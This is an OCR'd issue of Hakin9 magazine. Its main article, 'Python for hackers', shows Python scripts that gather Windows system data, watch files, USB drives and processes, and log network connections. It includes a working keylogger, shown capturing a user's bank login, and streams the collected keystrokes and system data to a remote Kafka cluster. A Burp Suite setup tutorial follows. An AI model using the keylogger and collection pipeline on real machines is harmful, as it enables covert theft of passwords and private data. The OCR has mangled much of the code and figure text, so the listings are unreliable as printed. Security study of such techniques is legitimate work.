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Dear Readers!

Today's issue of Hakin9 is dedicated to programming. There is an ongoing question whether programming
skills are essential to being a good hacker. Most agree that knowing how to code is necessary, although not
obligatory to become a hacker, as it will definitely help you understand some techniques and processes. If you
know how to code, you will be able to dissect code and analyze it, and to write your own scripts or your own

hacking tools.

We decided to focus mostly on Python. Why? Because Python is an extremely powerful language and it easy
to learn at the same time. With Python you can achieve your results with minimal coding, and it does not need
to be compiled. | strongly recommend reading Python for hackers: Extract gold from systems by Adrian
Rodriguez Garcia and The dangers of metadata by Verénica Berengue. In the first one you will learn about data
extraction from Microsoft Windows systems and the second one will focus on extraction images and PDF docu-
ments. More about Python and its capabilities can be found in Programming In Python, Forensic Analysis For

Network and Programming for hackers.

Samrta Das and Prasoon Nigam prepared two tutorials about Burp Suite, one of the most popular tools for per-
forming security testing of web applications. Their step-by-step articles will help you use Burp’s features easily

and efficiently.

There are a lot more articles inside, and | hope that you will find something interesting for yourself there.

We want to thank you for all your support, we appreciate it a lot. If you like this publication you can share it

and tell your friends about it! Every one of your comments is important to us. Special thanks to Beta Testers

and Proofreaders who helped with this issue.

See you next month!

Enjoy your reading,

Hakin9 Magazine's

Editorial Team
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[code]cademy

CODE About Codecademy
ACADEMY

Codecademy is an education company. But not one in the way you might think.
We're committed to building the best learning experience inside and out, making
Codecademy the best place for our team to learn, teach, and create the online

learning experience of the future.

Education is old. The current public school system in the US dates back to the 19th
century and wasn't designed to scale the way it has. Lots of companies are working
to "disrupt" education by changing the way things work in the classroom and by

bringing the classroom online.

Our Mission

We're not one of those companies. We are rethinking education from the bottom
up. The web has rethought nearly everything - commerce, social networking, health-
care, and more. We are building the education the world needs - the first truly net
native education. We take more cues from Facebook and Zynga in creating an en-

gaging educational experience than we do from the classroom.
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Programming Exercises

Education is broken. Come help us build the education the world deserves.

https://www.codecademy.com
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freeCodeCamp (&

FREE CODE CAMP

What is freeCodeCamp?
We're an open source community that helps you learn to code.
How do you help me learn to code?

You can work through our self-paced coding challenges, build projects, and earn

certificates. We also connect you with people in your city so you can code together.
Can freeCodeCamp help me get a job as a software developer?

Yes. Thousands of people have gotten software developer jobs after joining our

open source community.
Is freeCodeCamp really free?

Yes. Every aspect of our program - our curriculum, nonprofit projects, and verified

certificates - is 100% free.
How long does freeCodeCamp take?

It takes about 2,000 hours to complete our Full Stack Developer certificate. This
translates into about one year of full-time coding. We're completely self-paced

though, so take as long as you need.

https://www.freecodecamp.com

10
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KHANACADEMY

Khan Academy is a nonprofit with a mission to provide a free, world-class educa-

tion for anyone, anywhere.

KHAN

We believe learners of all ages should have unlimited access to free educational
ACADEMY content they can master at their own pace. We use intelligent software, deep data
analytics and intuitive user interfaces to help students and teachers around the

world.

Khan Academy reaches all corners of the globe. While 70% of our students are
from the United States, the rest hail from countries like India, Brazil, Mexico, South
Africa and beyond. Our resources are being translated into more than 36 lan-
guages, and we have full Spanish, French, Brazilian Portuguese, Hindi, Polish, Ger-

man and Turkish versions of our site, too.

We have delivered more than 580 million lessons and learners have completed

more than six billion exercise problems.

Our resources cover preschool learning, math, biology, chemistry, physics, econom-
ics and finance, history, grammar, and more. We offer free personalized SAT prep in
partnership with the test developer, the College Board. Khan Academy was

founded by Salman Khan in 2008, and has a team of more than 130 full-time staff.
Remember, you can learn anything.

https://www.khanacademy.org
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codewars

i y
REWRRL

Codewars is a collective effort by its users. They are creators - authoring kata to
CODE WARS y y 9

teach various techniques, solving kata with solutions that enlighten others, and
commenting with constructive feedback. The leaders among them moderate the

content and community.

https://www.codewars.com

12
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List of Free Learning Resources

FREELY
This list initially was a clone of stackoverflow - List of Freely Available Programming
AVAILABLE Books by George Stocker. Now updated, with dead links gone and new content.
PROGRAMMING Moved to GitHub for collaborative updating.
B O O KS https://github.com/vht/free-programming-books/blob/master/free-programming-b

ooks.md

13
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ADRIAN RE@DRIGUEZ GARCIA

I'm Adrian Rodriguez Garcia@@@raduate in telecommunication engineering in

the specialty of telematics student of the Master in security of the
information and communicati@s in the University of Seville. | love the
cybersecurity, especially thoselhematic directed to the fight against the
malware, reason by which | desi@§n solutions based in Open Source and Big
Data to prevent and mitigate anif incident that can be produced in network
systems. In addition, I'm a curiod8 person who likes to study and test new
technologies to the extreme to take full advantage of its features or to know

the limitations and improve it.

In short, | enjoy in the world of cybek security and new technologies where I'm

like a fish in water.
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Python for hackers: Extract gold from systems

The extraction of data from any network system is the main objective pursued today. For this, different methodologies

are used according to the tastes or needs.
What will you learn?

In this article, we will introduce the world of programming for hackers using Python, specifically, the extraction of

data from Microsoft Windows systems. The topics addressed are as follows:

What kind of data to extract from a system.

Extraction of basic information from a system.

Monitoring and extracting data from the file system.

Monitoring and extracting data from processes and network connections.

Design a keylogger to extract data from the keyboard.

Data management with Big Data technologies.
What you should know

e No prior knowledge is required about programming, systems or cybersecurity because all necessary knowledge

will be explained in this article.

e You just need to have fun reading, learning and researching.
Introduction

First, we're going to talk about what kind of information it’s useful to extract from a system and why it’s important.

Then, with Python language and the enormous power of its libraries, we will demonstrate how to extract basic informa-
tion from a system and how to monitor and extract data from the file system, processes, network connections and key-
board.

Finally, we will talk about a possible way to manage the data extracted using Big Data technologies, like Apache Kafka.
What kind of data to extract from a system

On a computer, there’re many kinds of data. Of these, two main groups can be highlighted:
e System data.

o Data or logs of activities in the system.

16


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Python for hackers: Extract gold from systems

From security and systems management point of view, of the first group, we’re interested in the data that identifies a

computer in the network to be able to manage and monitor individually.

On the other hand, of the second group, we're interested in data oriented to the security of the computer to avoid
threats or to perform a forensic analysis in an infection case. That is, we need to know what’s happening in the system.
For this reason, it’s necessary to have real-time data about what’s occurring in the file system, in the processes or in the

network.

To have control over the file system is very important because any creation, modification or deletion of a file may be due
to the performance or creation of malware in the system. However, the greatest danger comes from the processes. That
is, detecting the creation in real time of a process to analyze it, can cause a malware to be detected and thus act quickly
to mitigate the threat in the shortest possible time. In addition, the processes are responsible for creating the connec-

tions, so detecting it should be a priority to avoid threats and to locate possible botnets or C&C servers.

Equally important, especially in a company, is knowing when a USB is inserted or removed from a computer, because

it’s one of the main sources of malware infection.
Extraction of basic information from a system

The system data is a set of basic information that will allow you to manage and monitor a system individually within a
network. Our objective is to extract the system data for which we will use the the following programming language and

libraries:
e Python 2.7
e WMI Python Library

WMI is the infrastructure for data management and Windows operations. The WMI Python library provides an inter-

face for interacting with Windows WMI so we can extract information from the system quickly and easily.

We’re going to connect through the Python interface to Windows WMI and we will make requests to extract system

data. In this case, we’re going to focus on three points:
e Network data.
e Profiles data.
e System Operating data.

Listing 1:

import wmi

17
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try:
for netbParams in wmi.WMI () .Win32 NetworkAdapterConfiguration ():

if netParams.MACAddress != None and netParams.IPAddress != None and netParams.I

PSubnet != None:

if netParams.DNSDomain != None:

print "Domain: ", netParams.DNSDomain

print "mac: ", netParams.MACAddress.lower ()

print "ip", netParams.IPAddress[0]

print "mask: ", netParams.IPSubnet[0]
for profileParams in wmi.WMI () .Win32 NetworkLoginProfile ():
if profileParams.Name != None:
print "Profile: ", profileParams.Name
for SOParams in wmi.WMI () .Win32 OperatingSystem () :
print "Operation System: ", SOParams.caption
print "Computer Name: ", SOParams.CSName
print "Architecture: ", SOParams.OSArchitecture
print "User Registered: ", SOParams.RegisteredUser

except Exception as e:

18
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print e
It’s observed in the previous example that the extracted data are follows:

Network domain.

Interface MAC.

Interface IP.

Subnet mask.

System profiles.

System operation.

Architecture.

Computer name.

Registered user.

Once the script is executed on the computer, an output similar to the one shown below is achieved:

C:\Users\adrian\Desktop\pruebasPython\hakin9_hackers\monitor>c: \Python27\python.exe values.py

00:50:56:
192.168.242.

Profile: NT AUTHORITY\SYSTEM
DESKTOP-PI3HNI 2\ adrian

Dperation System: Microsoft windows 10 Home
uter Name: DESKTOP-PI3MNI2

Architecture: 64 bits

User Registered: adrian

C:\Users\adrian\Desktop'\pruebasPython\hakin9_hackers\monitor>

Figure 1. Systems Data Example
In this example, the system has three network interfaces into the same domain, with a single user registered additional
to the System user and with a 64-bit Windows 10 Home operating system where the user "adrian" is currently regis-

tered.

19
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In short, in this simple way, thanks to Python, we can extract information from a network system and send it to a cen-

tral system that uses this data for any purpose, such as monitoring the system or managing it.
Monitoring and extracting data from the file system

The data or log activities in the file system are very important because they allow you to know what happens in a com-

puter.

From a security analyst point of view, it allows you to know, in real time. the download of malware in the system or, in
case of infection, to have a registry with everything that has happened during the execution of a malicious file in the

computer. In this way, it’s possible to act and mitigate the threat later.

On the other hand, from a system administrator or devops point of view, it lets you know which files have been cre-
ated, modified or deleted in a certain period of time on a computer. In this way, they can execute the appropriate ac-

tions for the correct system behavior.

Once we know the advantages, we will proceed to extract data from the file system, but first, it’s important know how it

works.

Logical Unit Logical Unit
(C:\) (Z:\)

DISK PARTITIONS

HARD DISK

Figure 2. Hard disk structure

The hard disk structure, from Microsoft Windows’ point of view, can be structured in simple form like the previous im-
age. That is, the hard disk contains partitions where there’s a set of logical units. The logical units are the different file
systems accessible from Windows. The most common is the Windows file system, known as "C:". Note that every time
a removable storage drive is introduced, Windows recognizes it as a logical drive that includes "D:" to "Z:". That is, us-
ing Windows WMI, it’s possible know the logical units that exist on the computer. Therefore, we're going to use Py-

thon with the objective of monitoring and knowing when a removable storage drive is inserted or removed.

Listing 2:

import wmi

20


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Python for hackers: Extract gold from systems

from time import sleep

connection = wmi.WMI ()

while True:

try:

for physical disk in connection.Win32 DiskDrive () :

for partition in physical disk.associators("Win32 DiskDriveToDiskPartition"

for logical unit in partition.associators ("Win32 LogicalDiskToPartition

sleep(10)

except Exception as e:

print e

print "Logical disk: ", logical unit.Caption

print "Volume name: ", logical unit.VolumeName

print "File system type: ", logical unit.FileSystem

print "Size (Gb): ", int(logical unit.Size) /1073741824

print "Free space (Gb): " , int(logical unit.FreeSpace)/1073741824
print "\n"

As in the previous section, the first step is to establish the connection with Windows WMI. Next, the hard drive, its par-

titions, and finally the logical units are extracted. The following example demonstrates the result of inserting and ex-

tracting a USB from the computer during script execution.

21
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CAS

Logical disk:

Volume nase: RECOVERY

File system type NTFS
(@): 23

RECOVERY
system type: NTFS
size (Gb): 23
ree space (Gb):

wser s\ ade { an'\Desktep\presbashython |\ hak 109 _hacker s\ mosi tor>

A

Figure 3. Logical units

PythenlT\pyvthon. exe ush. py

In the previous image, it’s shown how in the first check are the units C and D, that is, the Windows file system and a

file system for data. On the other hand, in the second check, it’s shown that a Pen Drive has been inserted in the unit F,

which is later extracted.

This information is gold because it allows monitoring, in real time, the file systems of each of the logical units of the

system. Once again, and thanks to Python libraries, it’s possible to achieve this goal. This time the following Python

programming language libraries are used:

e Pythoncom library.

e Pypiwin32 library.

Listing 3:

import os

import win32con, win32file

import pythoncom

pythoncom.CoInitialize ()
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ACTIONS = { 1: "Created",

2: "Deleted",

3: "Updated",

4: "Renamed from something",
5: "Renamed to something"}
accessMode = 0x0001
FileSystemPath = "C:\\"

hDir = win32file.CreateFile (
FileSystemPath,
accessMode,

win32file.FILE SHARE READ | win32file.FILE SHARE WRITE | win32file.FILE SHA
RE DELETE,

None,
win32file.OPEN EXISTING,
win32con.FILE FLAG OVERLAPPED | win32Z2con.FILE FLAG BACKUP SEMANTICS,

None)

flag exit = 0

while flag exit ==

try:

23
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results = win32file.ReadDirectoryChangesW (

for

hDir,

5012,

True,

win32con.FILE NOTIFY CHANGE FILE NAME |

win32con.FILE NOTIFY CHANGE DIR NAME |

win32con.FILE NOTIFY CHANGE ATTRIBUTES |

win32con.FILE NOTIFY CHANGE SIZE |

win32con.FILE NOTIFY CHANGE LAST WRITE |

win32con.FILE NOTIFY CHANGE SECURITY,

None,

None)

action, file in results:

full filename = os.path.join(FileSystemPath, file)

if os.path.isfile(full filename) :

print "File ", ACTIONS[action], ": ", full filename
if action == 2:
print "File deleted: " + full filename

if not os.path.exists (FileSystemPath) :
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flag exit =1

print FileSystemPath, " storage unit has been extracted"

except Exception as e:
print e
finally:

pythoncom.CoUninitialize ()

First, the Microsoft Windows COM libraries have been initialized with the "pythoncom" library, which allows commu-
nication between processes to extract information and create dynamic objects. It’s very important initialize these librar-

ies because it’s necessary to capture the events of the file system that occur in different Windows processes.

The next step is to create a handler using the "win32file" library, to monitor an existing path (a file system) in "list all
directories" mode to monitor all existing subdirectories of the file system. Then, using the "ReadDirectoryChangesW"
method, the logical unit is monitored. The method must be passed the handle, the size of the buffer to store data,
"True / False" permission to read or not the subdirectories of the file system and the changes to be captured in the
files.

Finally, the script is launched, which monitors the changes of the file system according to the configuration.

Created :
Updated :

YVRRIN.PY
op\TFM telefonica.txt

15w RF2chch724.THP

X

o  Microsoft Excel.xlsx
e calculo de Micre Excel . xlsx
: sers\adrian\De o Hoj alculo de Microsoft Excel. xlsx~-RF2¢cheb724. TP
Renased to something

Figure 4. Extract data from file system

The Python library "threading" allows us to create threads to perform different tasks simultaneously, so we can create
a thread for each logical unit that exists. That is, it’s possible to monitor all logical units simultaneously, as well as any

USB that may be inserted.
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The script shown above can have different uses once it’s worked and adapted to the needs of each one. It can be used
by a cybercriminal to extract any sensitive system information such as bank documents or by a security analyst to pre-
vent malware infections. For this reason among others, the library "pypiwin32" is one of the most powerful of Python
because if it’s well understood and used, it allows you to manage and extract any type of information of Microsoft Win-

dows systems.

Monitoring and extracting data from process and network connections

Monitoring and extracting data from system processes is vital for three main reasons:
1. The first one is to detect as soon as possible the execution of a malicious process and to be able to act.

2. The second reason is to know the activities related to processes that have occurred in a certain period of
time so that, in case of infection, the situation will be reversed. Additionally, it serves to exercise preventive

measures for the future.
3. Finally, it’s important for management, optimization of systems or for audits on network computers.
To reach the proposed objective, we will again use Python and its following libraries:
e Pythoncom library.
e WMI Library.
e Psutil Library.

As in the previous section, the first step is to start with the "pythoncom" library and the Microsoft Windows COM li-
braries, in order to extract information from the processes. Then, by using the "WMI" library, we will establish a con-

nection with Windows WMI, and finally, we will start to monitor the creation of processes in the system.
Listing 4:
import psutil

import wmi, pythoncom, os

try:
pythoncom.CoInitialize ()

connection = wmi.WMI ()
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watcher = connection.Win32 Process.watch for ("creation")

while True:

new process = watcher ()
if len(psutil.Process (new process.ProcessID).cmdline()) == 2
and os.path.exists(psutil.Process (new process.ProcessID).cmdline () [1]):
print "PID: ", new process.ProcessID
print "Name: ", new process.Caption
print "Priority: ", new process.Priority
print "Filename: ", psutil.Process(new process.ProcessID).cmdline () [1]
print "Software used: ", psutil.Process(new process.ProcessID).cmdline() [0

if psutil.Process(new process.ParentProcessId):

print "Parent PID: ", new process.ParentProcessId

print "Parent Name: ", psutil.Process(new process.ParentProcessId) .nam
e ()

print "Parent Executable: ", psutil.Process(new process.ParentProcesslI

d) .cmdline () [0]

except KeyboardInterrupt:

sys.exit (1)

finally:
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pythoncom.CoUninitialize ()

In the previous example, it’s observed that for each process created, using the "psutil" library, a series of data are ex-

tracted, which highlights the file that executes the process and the software used.

ers\adrian\Desktop\universidad\Master \Materia'\Modulo 4'\Memoria_P3.pdf
\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

T Name:
xwecutable: C:\WINDOWS\Explorer.EXE

er s\ adr | an'\Dropbox\ endpoint \endpoint - lcader - agent \endpoint_agent \managers\S3Manager . py
\Programs Files\Windows NT\Accessories \WORDPAD.EXE

2L
explorer.exe
\WINDOWS\Explorer . EXE

Figure 5. Extract data from process

The above data has an enormous importance because this information can be used in a lot of practical applications.
For example, a cybercriminal could use them to design a malware to send information from the processes to a server
to know the software installed on the computer and thus compromise the system with the objective of creating a bot-

net.

On the other hand, a malware or forensic analyst, with previous code worked and adapted, can greatly simplify the
work. The reason is that they can know the exact file of the infection as well as the software that has executed it, thus

allowing an immediate action.

Once the possible applications are known, we can observe the enormous importance of knowing how to work with the
processes of the system. But this is not all, because the processes are responsible for creating network connections.
Therefore, it’s possible to capture the established connections so that, in case of infection, it can act and locate the bot-

net or C&C server responsible for the attack, if it exists.

The methodology is the same that has been used before, with the difference that, once the process is captured, data is
extracted from the connection to know the servers that have routed the packets, and thus, know the name of the hosts

involved with their respective IPs.
Listing 5:

import psutil, sys
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import wmi, pythoncom

import socket

try:
pythoncom.CoInitialize ()
connection = wmi.WMI ()

watcher = connection.Win32 Process.watch for ("creation")

while True:

new process = watcher ()
if psutil.Process(new process.ProcessID) .connections (kind="all"):

open connection = psutil.Process (new process.ProcessID) .connections (kind="a

ll")

elif psutil.Process (new process.ParentProcessId) .connections (kind="all"):

open connection = psutil.Process (new process.ParentProcessId) .connections (k

ind="all")

ip list = []

for jump in open connection:
try:

[ I

if jump([4][0] !'= None and jump[4] [0]
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if not any(ip in jump[4][0] for ip in 1ip list):
ip list.append(Jump[4][0])
except:

continue

print ip list
for item in ip list:
try:
print socket.gethostbyaddr (item) [0]
except:

continue

except Exception as e:
print e

finally:
pythoncom.CoUninitialize ()

As on all previous occasions, the first step is to start Windows COM libraries to interact with processes. The processes

that are created in real time are then monitored and the data relating to the network connections are extracted.

Once the previous code has been adapted to our needs, the script is launched and a connection is made from Google,

in this case to El Pais (Spanish national newspaper), obtaining a result like the following:

Figure 6. Extract data from network connections 30
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The above result shows all the IPs of the servers that have routed the packets and then their respective names.

In summary, the monitoring and data extraction from the processes helps in a high percentage to know what’s happen-

ing in real time in a network computer, which can produce a direct impact on the productivity of our daily work .
Design a keylogger to extract data from the keyboard

In this section, we will work on monitoring the pulsations of the keyboard in order to extract any sensitive data that
the end users write on the computer. In other words, a keylogger in Python is going to be designed with the help of the

following library:
e Keyboard library
Listing 6:
from functools import partial

import os, keyboard

EXIT KEY = "esc"

def managerFunction (LogFile, event):

if event.event type in ("up", "down"):

if event.event type == "up"
return
pulsation = event.name
if event.name == "enter":
pulsation = '\n' + pulsation + '\n'

LogFile.write (pulsation)

LogFile.flush ()
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def main():
logFile = 'keyboard.log'
handlerFile = open(logFile, 'ab')
keyboard.hook (partial (managerFunction, handlerFile))
keyboard.wait (EXIT KEY)
handlerFile.close ()
if name == " main ":
main ()

In the above script, we only need to understand two details. The first is know that the "hook" class of the "keyboard"
library indicates the function in which the keyboard events are handled, and the second is that the "wait" class starts

monitoring the keyboard until the character indicated will be introduced.

In this simple way, a keylogger has been built in Python, which generates results like the ones shown below:

[ | o

Figure 7. Python keylogger results

The above result is an example of a user and password capture of a person who is doing online transactions at his

bank.
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This fact demonstrates, once again, the great potential that Python has to design any program that the imagination

wants, being at the same time the face or the cross of the same coin according to the interest of each person.
Data management with Big Data technologies

Today there are multiple forms and technologies that help manage data. In this section we will talk about a specific Big

Data technology called Apache Kafka (https://kafka.apache.org/).

Apache Kafka is a complex technology to understand, so the first step is to explain several concepts in a simple way in

order to use Kafka.

First, as a concept, there are two ways to understand this technology:
¢ Building real-time streaming data pipelines that reliably get data between systems or applications.
e Building real-time streaming applications that transform or react to the streams of data.

The second step is to know the system architecture:

o Kafka is run as a cluster on one or more servers.

e The Kafka cluster stores streams of records in categories called topics.

e Each record consists of a key, a value, and a timestamp.

e Kafka has four core APIs but in this article only two will be used.
e The Producer API allows an application to publish a stream of records to one or more Kafka topics.

e The Consumer API allows an application to subscribe to one or more topics and process the stream of records

produced to them.

In this case, Apache Kafka will be used as a messaging system to send stream of records from a producer to the cluster
in order to be able to consume them from a consumer. Therefore, all the information extracted in the previous sections

is recommended to adapt it to some format, such as XML or JSON, so that it can be parsed and easily worked later.

We need to install the Kafka cluster and then create a producer to publish the stream of records in a topic. To do this,

we need to also install the Python library "kafka-python".
Listing 7:

from kafka import KafkaProducer
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try:

producer = KafkaProducer (bootstrap servers="IP:9092")

while True:

producer.send (topic="testing', wvalue="proof")

except Exception as e:

print e
The next step is to create a consumer to consume the stream of records from the “testing” topic.
Listing 8:

from kafka import KafkaConsumer

consumer = KafkaConsumer (bootstrap servers="IP:9092")

consumer.subscribe (['testing'])

for streamRecords in consumer:

print (streamRecords|[6])

Finally, we start the cluster, the consumer and launch the producer that will publish the stream of records, which can

be consumed by the consumer.

In this case, the producer has been adapted and all data collected in the different sections of the article are sent in

JSON format to the cluster to facilitate the stream of records treatment.

34


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Python for hackers: Extract gold from systems

“profilel”: "DESKTOP
“Updated™, “"sha2se”:
“Updated”, “sha2se":
“Updated™, “"sha2sSe":
“Vpdated”™, “"shal2se™:

“Wpdated™, "shalSe™:

., .f»’.JA“,I'.'VI:

", "parentPID": 4460, "parentName”: “explorer.exe”,
agent o s\\FileManager.py™, "Priority ; 8, "parentExecutable™:

{("Name™: “"Acrofdi).exe”
: B, "pwemtExecutable”™;: "C;

("action™: “capture Keyboard
{"action™: “cCapture Keyd
{(“"action” “Capture Ke
{"action™: “capture Keyboard

{"action™: “capture Keyboard™,

*, "capture”

", "capture”: "enter”)

", "capture”:

“capture”:

P3N 2

"4423107929de730757aTE17 5604

7, "profilel™: NT AUTHORITY\\SYSTEM", "saskl™: °© 255.255.07,
e T192.168.1.34", "architecture”™: "64 bits", "¢ *: "DESKTO
i "adrian™)

"§p3=: *

5 10 Hose", "registereduse

87979 3Ic26alB000a2194bB8504400¢cc3378", "size™: 5S40, ") " "Cio\\Users\\adrian\\Desktop\\TPM telefoni

"4423107929de7 30757 a7817 560487979 Ic26aBeeea2 194bB8504400cc3378", "size™: 540, t "Cr\\Users\\adrian\\Desktop\\TMM telefonic

"94804405F5e612FFFach9826050ad fbe05850a 3077 3¢ 329440 3ad9eb9d611a07", “size™: "Filename™: “C:\\Users\\adrian\\Desktop

"94804405FSeb12FFFAchOB26050ad fhe05850a e 7 3c3294403ad9%eb9d61 1207, "5 - “fi e”: "Ci\\Users\\adrian\\Deskto

"305e978F202dba’ 4407 3361604

"305e978F202dba74407 3361604

s parentPID”: 4460, "parentName”: “explorer.exe”
WINDOWS\\Explorer . DXE", "Softwwre™: "

-y

", "capture”: "peter”)

123456}

“"enter"™)
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Apache Kaftka supports around a million events per second, which makes this technology ideal for managing huge sets

of data quickly and easily. Coupled with other technologies such as Hadoop, it allows you to handle and manage huge

volumes of data in an easy way, being very attractive for big companies in any sector where there are thousands of com-

puters that continuously send data.

In short, the growth of Big Data technologies driven by Google, Facebook, Twitter or Linkedin among other big compa-

nies are, at present, improving the management of data and the daily work of many people.
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Burp Suite, created by PortSwigger Web Security, is a Java-based software platform of tools for performing security
testing of web applications. The suite of products can be used to combine automated and manual testing techniques
and consists of a number of different tools, such as a Proxy server, a web Spider, Scanner, Intruder, Repeater, Se-

quencer, Decoder, Collaborator, and Extender (as per Wikipedia).

Burp Suite acts as a sort of “Man in the Middle” by capturing and analyzing each “Request” and “Response” to and

from the target web application.
Burp Suite contains the following key components:

= An intercepting Proxy tool, which lets you inspect and modify traffic between your browser and the target ap-

plication.
= An application-aware Spider, for crawling content and functionality.
= An advanced web application Scanner, for automating the detection of numerous types of vulnerability.
= An Intruder tool, for performing powerful customized attacks to find and exploit unusual vulnerabilities.
= A Repeater tool, for manipulating and resending individual requests.
= A Sequencer tool, for testing the randomness of session tokens.
= The ability to save your work and resume working later.

= Extender, allowing you to easily write your own plug-in, to perform complex and highly customized tasks

within Burp.

The Burp Suite or a (Manual) Proxy tool is an intercepting proxy tool that intercepts all the traffic (Request and Re-

sponse) which is sent from Client to Server and vice versa.

The primary job of the Burp Suite Proxy tool is to intercept regular web traffic, which goes over Hypertext Transfer Pro-
tocol (HTTP), and with additional configuration, encrypted HTTP (HTTPS) traffic as well. Burp Suite can be used to

intercept any client-server communication that goes over HTTP.
HOw DO YOU OPEN BURP SUITE?

You may be thinking, what type of question is this, but still opening a Burp Suite in incorrect manner will affect the

space in your device. Also allocating the correct or specific RAM memory to Burp Suite is very important.

So, how do you open Burp-Suite? (Burp requires “Java” to be installed and configured on your system.)Method 1:

Double-click on the Burp-suite .jar file.
Method 1: Double-click on the Burp-suite .jar file.
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burpsuite_fre
lev1.7.19 ar

Figure 1: Burp-Suite .jar file.

But the above method will allocate the maximum memory available to Burp Suite. The allocated amount of memory

might vary based on the available RAM in the system. If a sufficient amount of memory is not allocated, there is a pos-
sibility that Burp Suite may crash. While testing, Logs are maintained, “Repeaters” have many test cases performed by

the security consultant, etc., and crashing of Burp-Suite may lead to a loss of all data, and at last, we are left with two

words "OH-Shit" or "OH-F**K".

Method 2: Command Line to start Burp-Suite

Command: java -jar /path/to/burpsuite.jar (open "command prompt" => (window key + r =>

type "cmd" and hit Enter))

OR

Shortcut to open Burp-Suite in command prompt.
Step 1: Visit the folder where Burp-suite (.jar) is kept.
Step 2: In address bar type "emd" and hit Enter

Step 3: Command => java -jar burpsuite.jar and hit Enter.

-

BurpSuite - :

Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

:\Users\prasoon.» gm \Desktop\BurpSuite>java -jar burpsuite free v1.7.19.jar

Figure 2: Opening Burp Suite with command line through command prompt.
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Method 3: Specifying Memory (Recommended)

Open "Command Prompt" and type the following command:
Command: java -jar -Xmx2048M /path/to/burpsuite.jar

Command: java -jar -Xmx2G /path/to/burpsuite.jar (allocating 2GB of RAM to Burp Suite)

=
licrosoft Windows [Version 19.0.10586)
e (c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\prasoon.nigan \Desktop\BurpSuitexjava -jar -Xmx2G burpsuite free v1.7.19.jar

SUITE

FREE EDITION

Figure 3: Opening Burp Suite by allocating memory.

Now that we’ve seen all the ways to open Burp Suite, let's take a look over Burp Suite.

5

Figure 4: Burp Suite window.

Burp Suite comes in two versions
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1)

2)

Free version

Paid / License version

In the paid version, we get the following benefits:

1) Scanner

2) Search

3) Save and Restore logs (most important)
4) Project options

5) Generating CSRF PoC

6) All updates till the license is valid.

7) And it's your Burp Suite ;) (You paid for it).

SO LET’'S STUDY ABOUT “BURP SUITE”.

As we have studied about, "What is Burp Suite" and "How Burp Suite works", now let’s get deep into Burp Suite’s tabs

and features.

Tabs (Options) Present in Burp Suite

1)

2)

3)

4)

5)

6)

7)

Target: Target is to define the scope or the target website (URL) to be tested.

Proxy: Intercepting Proxy lets us inspect and modify traffic between your browser and the target applica-

tion.
Spider: Spider helps us in crawling content and functionality.

Scanner: Scanner helps us to scan almost all vulnerabilities presented by OWASP.org and others from

“Critical” impact to “Informational”.

Intruder: Intruder performs powerful customized attacks to find and exploit unusual vulnerabilities, like

Brute force.

Repeater: Repeater helps to resend and also manipulate the individual requests, without touching or dis-

turbing the browser.

Sequencer: Sequencer helps in testing the randomness of tokens, cookies, etc.
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8) Decoder: Decoder helps in decoding and even encoding of data, to get back data in normal form or encode

it in any specific form, like HTML encoding, BASE 64, etc.
9) Comparer: Comparer helps in the comparison between two pieces of data.

10) Extender: Extender allows you to easily write your own plug-ins or download pre-created plug-ins, to per-

form complex and highly customized tasks.
11) Project Options: Helps in adding features or tasks for Sessions, SSL, etc.
12) User Options: Helps in customizing the Display, Connections, etc.
13) Alerts: Shows all the alerts happening within Burp Suite.
It will be more beneficial if we get to know about every above functionality while testing.

So the most important task is configuring the Burp Suite to your browser (Mozilla Firefox recommended).

METHODS TO CONFIGURE BURP SUITE WITH MOZILLA FIREFOX
Method 1: Long method

Step 1: Open Mozilla Firefox (if not installed please refer here => https://www.mozilla.org/en-US/firefox/new/)

Step 2: Click on the "Option" icon (3 parallel lines (right end corner)) and select option "options"

Step 3: Click on the "Advanced" option > select "Network" > Select "Settings" under "Connection"

Advanced ’ er |
’ =] o B
2 ) -
Comnmection - H '\/ -
Cached Web Content p O é‘
’ - n  Addom
;s Al

Offline Web Content and User Data

Figure 5: Configuring Burp Suite to talk to the browser.

Step 4: Select option "Manual proxy configuration”
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Step 5: In "HTTP Proxy" type "127.0.0.1" and in "Port" type "8080" and check the "checkbox" "Use this proxy server

for all protocols”

Step 6: Click "OK"

I Connection Settinga |

Configure Proxies to Access the Iaternet

Figure 6: Configuring IP address in manual proxy with the port.

Step 7: In Burp Suite, under "Proxy" tab > select "Options"

Step 8: Under "Proxy Listeners" check the same proxy IP is present "127.0.0.1:8080"

‘ | Burp Suite Free Edtion v1.7.19 - Temporary Project

Burp Intruder Repeater Window Help

f Y

| Target | Proxy | Spider ] Scanner [ Intruder 1 Repeater | Sequencer ] Decoder. ] Comparerb ] Extender ] Project options l Use

l Intercept ] HTTP hestory ] WebSockets history ’Options ‘

|8 Proxy Listeners

O Burp Proxy uses listeners to receive incoming HT TP requests from your browser. You will need to configure your browser to
o

| Add | Running Interface Invisible Redirect Certficate
4 127.0.0.1:8080 L Per-host
| Edt |
[
. Remove |

Figure 7: Burp Suite IP configured already.
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Method 2: Short Method (Installing "FoxyProxy" add-on)

Step 1: Navigate to the following link and click on "Add to Firefox" (It will install automatically with a restart of

browser) or search in Google => “FoxyProxy addon”.

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/contribute/roadblock/?src=dp-btn-primarv&v

ersion=4.6.5

Step 2: Click on the FoxyProxy icon > a window will appear.

& Vet the <
<« -~ moalacrg

A Most Visted @ Getting Started

& FerProvy Lamdard

File Help

Select Mode: omgirtel; dnable f

B Proves w Progy Subicrigiiors [ Pattern Subscrptions ) Global Settings
\

Enabled Color Proory Name Pecuy Notes

.
)

v _ Defacit Theie are the setSng: that

o QuickAdd g Loggng

55 Add New Proey

¥ [t Selection

S

i
" Ve
5

@ Please Donate W Get FowyProwy Plus o Buy Prowy Service FowyPromy for Ovome

-

Loz el i o e zio-2 2 s

Figure 8: FoxyProxy window for adding proxy.

Step 3: Click on "Add New Proxy" > Enter "Server or IP Address "127.0.0.1" with Port “8080” and Click OK.
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Figure 9: Adding Server IP Address.

